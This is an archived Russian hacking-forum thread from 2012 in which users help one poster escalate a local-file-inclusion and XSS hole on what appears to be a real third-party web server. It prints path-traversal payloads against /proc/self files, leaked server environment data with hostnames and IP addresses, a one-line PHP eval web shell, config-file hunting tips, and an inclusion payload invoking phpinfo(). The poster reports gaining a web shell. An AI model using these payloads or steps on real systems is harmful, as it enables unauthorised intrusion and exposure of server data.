PDA

Просмотр полной версии : LFI в тандеме с XSS


Pirotexnik
13.03.2012, 23:11
Доброго времени суток.

Встретил очень интересную дыру.

file.php принимает 2 переменные.

В первой - LFI

Во второй - XSS

При эксплуатации хсс выводится куча JS кода, среди которого содержимое переменной.

Лфи - и в африке лфи.

Вопрос вот в чем:

Можно как-то юзнуть хсс, воткнув в ние минишелл, а потом проиклудить эту страницу?

Например из кэша.

ЛФИ через include_once()

Спасибо.

mironich
13.03.2012, 23:53
Можно как-то юзнуть хсс, воткнув в ние минишелл, а потом проиклудить эту страницу?


Т.к js не гузит сам по себе файлы на сервер то ни как, если через js засубмитиш форму загрузки файла из админки но звучит както бредово...


куча JS кода


Мб json?

Юзай лфи нафига себе мозг парить?

M_script
14.03.2012, 00:04
Ничего не получится. Ты инклудишь сам файл, а не то, что он выводит.

Pirotexnik
14.03.2012, 00:21
Так. Как я понял хсс ничем не поможет.

Тогда такой вопрос. (писать буду в этом топике, дабы не засорять)


?page=../../../proc/self/cmdline


выдает


www/apache/bin/httpd




www/apache/bin/httpd/conf/httpd.conf
www/apache/bin/httpd/httpd.conf
www/apache/bin/httpd.conf


Не существуют.


/proc/self/status


выдаёт


Code:
Name: httpd
State: R (running)
SleepAVG: 10%
Tgid: 14018
Pid: 14018
PPid: 1945
TracerPid: 0
Uid: 504 504 504 504
Gid: 504 504 504 504
FDSize: 256
Groups: 504
VmPeak: 25404 kB
VmSize: 25404 kB
VmLck: 0 kB
VmHWM: 10560 kB
VmRSS: 10560 kB
VmData: 3840 kB
VmStk: 88 kB
VmExe: 848 kB
VmLib: 16860 kB
VmPTE: 44 kB
StaBrk: 08129000 kB
Brk: 09ae6000 kB
StaStk: bf941410 kB
ExecLim: 0811c000
Threads: 1
SigQ: 0/32622
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000001200
SigCgt: 000000018440646b
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
Cpus_allowed: ffffffff
Mems_allowed: 1

ПРИЧЕМ


Tgid: 14018
Pid: 14018
PPid: 1945


Всевремя меняется.


proc/self/fd/1


2,3,4,5 и тд, до 15

Не существует.


proc/self/environ


выдаёт


Code:
SSH2_AUTH_SOCK=/tmp/ssh-root/ssh2-9247-agentHOSTNAME=janixwww3.amsnl.webair.comSHELL=/bin/bashTERM=screenHISTSIZE=1000USER=rootSSH2_CLIENT=2 09.200.59.212 61004 77.245.49.230 2200LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40; 33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41 :mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:* .com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.cs h=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz= 01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31: *.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm =01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp= 01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01 ;35:PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/sbin:/sbin:/usr/bin:/bin:/usr/local/bin:/home/toor/binMAIL=/var/spool/mail/rootSSH_AA_SOCK=/tmp/ssh-root/ssh2-9247-agentPWD=/home/toorINPUTRC=/etc/inputrcLANG=en_US.UTF-8SSH2_SFTP_LOG_FACILITY=-1HOME=/home/toorSHLVL=2LOGNAME=rootLESSOPEN=|/usr/bin/lesspipe.sh %sG_BROKEN_FILENAMES=1_=/www/apache/bin/httpd

Можно ли как-то достать логи?

FQziT
14.03.2012, 00:30
Pirotexnik said:
www/apache/bin/httpd/conf/httpd.conf
www/apache/bin/httpd/httpd.conf
www/apache/bin/httpd.conf
Не существуют.


www/apache/bin/httpd это ж бинарник получается, не?

Прочекай www/apache/conf/httpd.conf, например.

Pirotexnik
14.03.2012, 00:35
FQziT, спасибо!

ww/apache/conf/httpd.conf стработало!

Буду чекать дальше. Не уходите с топика

ап

в коде выглядит как

<?php eval($_GET[piro]); ?>

Обходится?

ErrorLog /dev/null

/dev/null - не существует

Apache 1.3.37

Pirotexnik
14.03.2012, 03:38
Проблемма решилась через заливку ВСО с помощью phpinfo() и LFI.

Всем спасибо! Closed!

Expl0ited
14.03.2012, 10:08
Инклюд файлов и XSS можно связать только в единственном случае, если есть RFI но разрешен инклуд только локальных файлов, и тогда .php?file=http://localdomain.ltd/script.php?xss=&e=phpinfo(); сработает